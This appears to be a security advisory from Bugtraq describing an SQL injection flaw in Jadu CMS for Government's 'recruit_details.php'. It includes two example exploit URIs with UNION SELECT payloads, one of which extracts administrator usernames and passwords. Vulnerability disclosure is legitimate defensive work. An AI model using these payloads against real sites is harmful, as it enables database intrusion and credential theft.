Jadu CMS for Government 'recruit_details.php' SQL Injection Vulnerability

Bugtraq ID:	31376
Class:	Input Validation Error
CVE:	CVE-2008-5988
Remote:	Yes
Local:	No
Published:	Sep 24 2008 12:00AM
Updated:	Apr 16 2015 05:54PM
Credit:	r45c4l
Vulnerable:	Jadu Jadu CMS for Government 0
Not Vulnerable:

Jadu CMS for Government 'recruit_details.php' SQL Injection Vulnerability

Jadu CMS for Government is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Jadu CMS for Government 'recruit_details.php' SQL Injection Vulnerability

Attackers can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7,8,9,10,11,12--

http://www.example.com/site/scripts/recruit_details.php?id=null+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12+from+JaduAdministrators--

Jadu CMS for Government 'recruit_details.php' SQL Injection Vulnerability

Solution:
The vendor has released an update. Please contact the vendor for details.

Jadu CMS for Government 'recruit_details.php' SQL Injection Vulnerability

References:

• Vendor Homepage (Jadu)